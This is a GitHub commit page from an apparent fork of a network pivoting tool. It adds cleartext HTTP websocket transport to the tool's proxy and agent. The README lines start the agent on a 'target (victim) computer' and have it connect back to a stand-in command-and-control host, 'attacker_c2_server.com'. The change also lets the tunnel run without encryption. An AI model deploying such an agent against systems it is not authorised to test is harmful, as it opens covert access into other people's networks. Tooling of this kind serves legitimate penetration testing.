Skip to content

Commit

Permalink
Add cleartext http websocket support
Browse files Browse the repository at this point in the history
  • Loading branch information
[email protected] committed Oct 31, 2023
1 parent 413c8d3 commit f93a39b
Show file tree
Hide file tree
Showing 4 changed files with 157 additions and 78 deletions.
10 changes: 8 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -115,9 +115,15 @@ $ ./proxy -autocert # Automatically request LetsEncrypt certificates
```

### TLS Options
#### Disabling TLS encription and using cleartext websockets (for debug purpuses)
```shell
$ ./proxy -laddr http://0.0.0.0:8080 # use cleartext http websocket
```

#### Using Let's Encrypt Autocert

```shell
$ ./proxy -autocert -laddr https://0.0.0.0:443 # use https websocet + autocert
```
When using the `-autocert` option, the proxy will automatically request a certificate (using Let's Encrypt) for *attacker_c2_server.com* when an agent connects.

> Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval
Expand Down Expand Up @@ -172,7 +178,7 @@ Start the *agent* on your target (victim) computer (no privileges are required!)
$ ./agent -connect attacker_c2_server.com:11601
```

Or you can start the *agent* on your target (victim) computer and connect via websocket:
Or you can start the *agent* on your target (victim) computer and connect via websocket (http or https):

```shell
$ ./agent -connect https://attacker_c2_server.com:8443
Expand Down
41 changes: 34 additions & 7 deletions cmd/agent/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -36,11 +36,12 @@ var listenerID int32

func main() {
var tlsConfig tls.Config

var ignoreCertificate = flag.Bool("ignore-cert", false, "ignore TLS certificate validation (dangerous), only for debug purposes")
var verbose = flag.Bool("v", false, "enable verbose mode")
var ech = flag.Bool("ech", false, "enable verbose mode")
var retry = flag.Bool("retry", true, "auto-retry on error")
var retryTime = flag.Int("retryTime", 65, "auto-retry timeout in sec")
var retryTime = flag.Int("retryTime", 60, "auto-retry timeout in sec")
var socksProxy = flag.String("proxy", "", "socks5/http proxy address (ip:port) "+
"in case of websockets it could be proxy URL: http://admin:[email protected]:8080")
var socksUser = flag.String("socks-user", "", "socks5 username")
Expand All @@ -58,7 +59,7 @@ func main() {
}

if strings.Contains(*serverAddr, "https://") {
//websocket connection
//websocket https connection
host, _, err := net.SplitHostPort(strings.Replace(*serverAddr, "https://", "", 1))
if err != nil {
logrus.Info("There is no port in address string, assuming that port is 443")
Expand All @@ -69,6 +70,15 @@ func main() {
logrus.Warn("warning, certificate validation disabled")
tlsConfig.InsecureSkipVerify = true
}
} else if strings.Contains(*serverAddr, "http://") {
//websocket http connection
host, _, err := net.SplitHostPort(strings.Replace(*serverAddr, "http://", "", 1))
if err != nil {
logrus.Info("There is no port in address string, assuming that port is 80")
host = strings.Replace(*serverAddr, "http://", "", 1)
}
tlsConfig.ServerName = host

} else {
//direct connection
host, _, err := net.SplitHostPort(*serverAddr)
Expand All @@ -89,8 +99,9 @@ func main() {

for {
var err error
if strings.Contains(*serverAddr, "https://") || strings.Contains(*serverAddr, "wss://") {
if strings.Contains(*serverAddr, "http://") || strings.Contains(*serverAddr, "https://") || strings.Contains(*serverAddr, "wss://") {
*serverAddr = strings.Replace(*serverAddr, "https://", "wss://", 1)
*serverAddr = strings.Replace(*serverAddr, "http://", "ws://", 1)
//websocket
err = wsconnect(&tlsConfig, *serverAddr, *socksProxy, *userAgent, *ech)
} else {
Expand Down Expand Up @@ -208,8 +219,16 @@ func wsconnect(config *tls.Config, wsaddr string, proxystr string, useragent str
var ipaddr string
var servername string
var serverport string
var nossl bool
var echConfigsList []tls.ECHConfig

if strings.Contains(wsaddr, "ws://") {
nossl = true
useECH = false
} else {
nossl = false
}

ctx, cancel := context.WithTimeout(context.Background(), time.Second*20)
defer cancel()

Expand Down Expand Up @@ -261,11 +280,19 @@ func wsconnect(config *tls.Config, wsaddr string, proxystr string, useragent str
config.ClientECHConfigs = echConfigsList
config.MinVersion = tls.VersionTLS10

httpTransport = &http.Transport{
MaxIdleConns: http.DefaultMaxIdleConnsPerHost,
TLSClientConfig: config,
Proxy: http.ProxyURL(proxyUrl),
if nossl {
httpTransport = &http.Transport{
MaxIdleConns: http.DefaultMaxIdleConnsPerHost,
Proxy: http.ProxyURL(proxyUrl),
}
} else {
httpTransport = &http.Transport{
MaxIdleConns: http.DefaultMaxIdleConnsPerHost,
TLSClientConfig: config,
Proxy: http.ProxyURL(proxyUrl),
}
}

}

httpClient := &http.Client{Transport: httpTransport}
Expand Down
7 changes: 7 additions & 0 deletions cmd/proxy/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -44,9 +44,16 @@ func main() {
MaxInflight: *maxInflight,
})

//check if cleartext websocket is used
nossl := false
if strings.Contains(*listenInterface, "http://") || strings.Contains(*listenInterface, "ws://") {
nossl = true
}

proxyController := proxy.New(proxy.ControllerConfig{
EnableAutocert: *enableAutocert,
EnableSelfcert: *enableSelfcert,
DisableSSL: nossl,
Address: *listenInterface,
Certfile: *certFile,
Keyfile: *keyFile,
Expand Down
177 changes: 108 additions & 69 deletions pkg/proxy/controller.go
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,7 @@ type Controller struct {
type ControllerConfig struct {
EnableAutocert bool
EnableSelfcert bool
DisableSSL bool
Address string
Certfile string
Keyfile string
Expand Down Expand Up @@ -68,88 +69,90 @@ func (s myHttpServer) ServeHTTP(w http.ResponseWriter, r *http.Request) {
func (c *Controller) ListenAndServe() {
var tlsConfig tls.Config

if c.EnableAutocert {
// Enable letsencrypt
logrus.Info("Using Let's Encrypt ACME Autocert")
certManager := autocert.Manager{
Prompt: autocert.AcceptTOS,
Cache: autocert.DirCache("ligolo-certs"),
}
if len(c.DomainWhitelist) > 0 {
certManager.HostPolicy = autocert.HostWhitelist(c.DomainWhitelist...)
}
tlsConfig.GetCertificate = certManager.GetCertificate
go func() {
h := certManager.HTTPHandler(nil)
logrus.Fatal(http.ListenAndServe(":http", h))
}()
} else if c.EnableSelfcert {
logrus.Warning("Using automatically generated self-signed certificates (Not recommended)")

tlsConfig.GetCertificate = func(info *tls.ClientHelloInfo) (*tls.Certificate, error) {
// Cache
c.certificateMutex.Lock()
if cert, ok := c.certificateMap[info.ServerName]; ok {
c.certificateMutex.Unlock()
return cert, nil
if !c.DisableSSL {
if c.EnableAutocert {
// Enable letsencrypt
logrus.Info("Using Let's Encrypt ACME Autocert")
certManager := autocert.Manager{
Prompt: autocert.AcceptTOS,
Cache: autocert.DirCache("ligolo-certs"),
}
c.certificateMutex.Unlock()
priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
logrus.Fatal(err)
if len(c.DomainWhitelist) > 0 {
certManager.HostPolicy = autocert.HostWhitelist(c.DomainWhitelist...)
}
tlsConfig.GetCertificate = certManager.GetCertificate
go func() {
h := certManager.HTTPHandler(nil)
logrus.Fatal(http.ListenAndServe(":http", h))
}()
} else if c.EnableSelfcert {
logrus.Warning("Using automatically generated self-signed certificates (Not recommended)")

tlsConfig.GetCertificate = func(info *tls.ClientHelloInfo) (*tls.Certificate, error) {
// Cache
c.certificateMutex.Lock()
if cert, ok := c.certificateMap[info.ServerName]; ok {
c.certificateMutex.Unlock()
return cert, nil
}
c.certificateMutex.Unlock()
priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
logrus.Fatal(err)
}

serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
if err != nil {
return nil, err
}
serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
if err != nil {
return nil, err
}

template := x509.Certificate{
SerialNumber: serialNumber,
Subject: pkix.Name{
Organization: []string{info.ServerName},
},
NotBefore: time.Now(),
NotAfter: time.Now().Add(time.Hour * 24 * 365),

KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
BasicConstraintsValid: true,
}
template := x509.Certificate{
SerialNumber: serialNumber,
Subject: pkix.Name{
Organization: []string{info.ServerName},
},
NotBefore: time.Now(),
NotAfter: time.Now().Add(time.Hour * 24 * 365),

KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
BasicConstraintsValid: true,
}

if info.ServerName != "" {
template.DNSNames = []string{info.ServerName}
}
if info.ServerName != "" {
template.DNSNames = []string{info.ServerName}
}

derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)
derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)

if err != nil {
return nil, err
}
finalCert := &tls.Certificate{
Certificate: [][]byte{derBytes},
PrivateKey: priv,
}
// Cache!
c.certificateMutex.Lock()
c.certificateMap[info.ServerName] = finalCert
c.certificateMutex.Unlock()
return finalCert, nil

if err != nil {
return nil, err
}
finalCert := &tls.Certificate{
Certificate: [][]byte{derBytes},
PrivateKey: priv,
} else if c.Certfile != "" && c.Keyfile != "" {
cer, err := tls.LoadX509KeyPair(c.Certfile, c.Keyfile)
if err != nil {
logrus.WithFields(logrus.Fields{"certfile": c.Certfile, "keyfile": c.Keyfile}).Fatal("Could not load TLS certificate. Please make sure paths are correct or use -autocert or -selfcert options")
}
// Cache!
c.certificateMutex.Lock()
c.certificateMap[info.ServerName] = finalCert
c.certificateMutex.Unlock()
return finalCert, nil

tlsConfig.Certificates = []tls.Certificate{cer}
} else {
logrus.Fatal("No valid TLS configuration found, please use -certfile/-keyfile, -autocert or -selfcert options")
}
} else if c.Certfile != "" && c.Keyfile != "" {
cer, err := tls.LoadX509KeyPair(c.Certfile, c.Keyfile)
if err != nil {
logrus.WithFields(logrus.Fields{"certfile": c.Certfile, "keyfile": c.Keyfile}).Fatal("Could not load TLS certificate. Please make sure paths are correct or use -autocert or -selfcert options")
}
tlsConfig.Certificates = []tls.Certificate{cer}
} else {
logrus.Fatal("No valid TLS configuration found, please use -certfile/-keyfile, -autocert or -selfcert options")
}

if strings.Contains(c.Address, "https://") {
//websocket listen
//websocket https listen
listener, err := tls.Listen(c.Network, strings.Replace(c.Address, "https://", "", 1), &tlsConfig)
if err != nil {
logrus.Fatal(err)
Expand All @@ -158,6 +161,42 @@ func (c *Controller) ListenAndServe() {
close(c.startchan) // Controller is listening.
logrus.Infof("Listening websocket on %s", c.Address)

s := &http.Server{
Handler: myHttpServer{},
//ReadTimeout: time.Second * 1,
//WriteTimeout: time.Second * 1,
}
for {
go func() {
err = s.Serve(listener)
//logrus.Infof("Temp debug... ")
}()
if err != nil {
logrus.Error(err)
//continue
}
//logrus.Infof("Temp debug... ")
//manual waiting until handler got connection and set wsconn variable
for {
if wsconn != nil {
logrus.Infof("Got websocket connection %s", wsconn.RemoteAddr())
c.Connection <- wsconn
wsconn = nil
break
}
time.Sleep(time.Millisecond * 500)
}
}
} else if strings.Contains(c.Address, "http://") {
//websocket http listen
listener, err := net.Listen(c.Network, strings.Replace(c.Address, "http://", "", 1))
if err != nil {
logrus.Fatal(err)
}
defer listener.Close()
close(c.startchan) // Controller is listening.
logrus.Infof("Listening websocket on %s", c.Address)

s := &http.Server{
Handler: myHttpServer{},
//ReadTimeout: time.Second * 1,
Expand Down

0 comments on commit f93a39b

Please sign in to comment.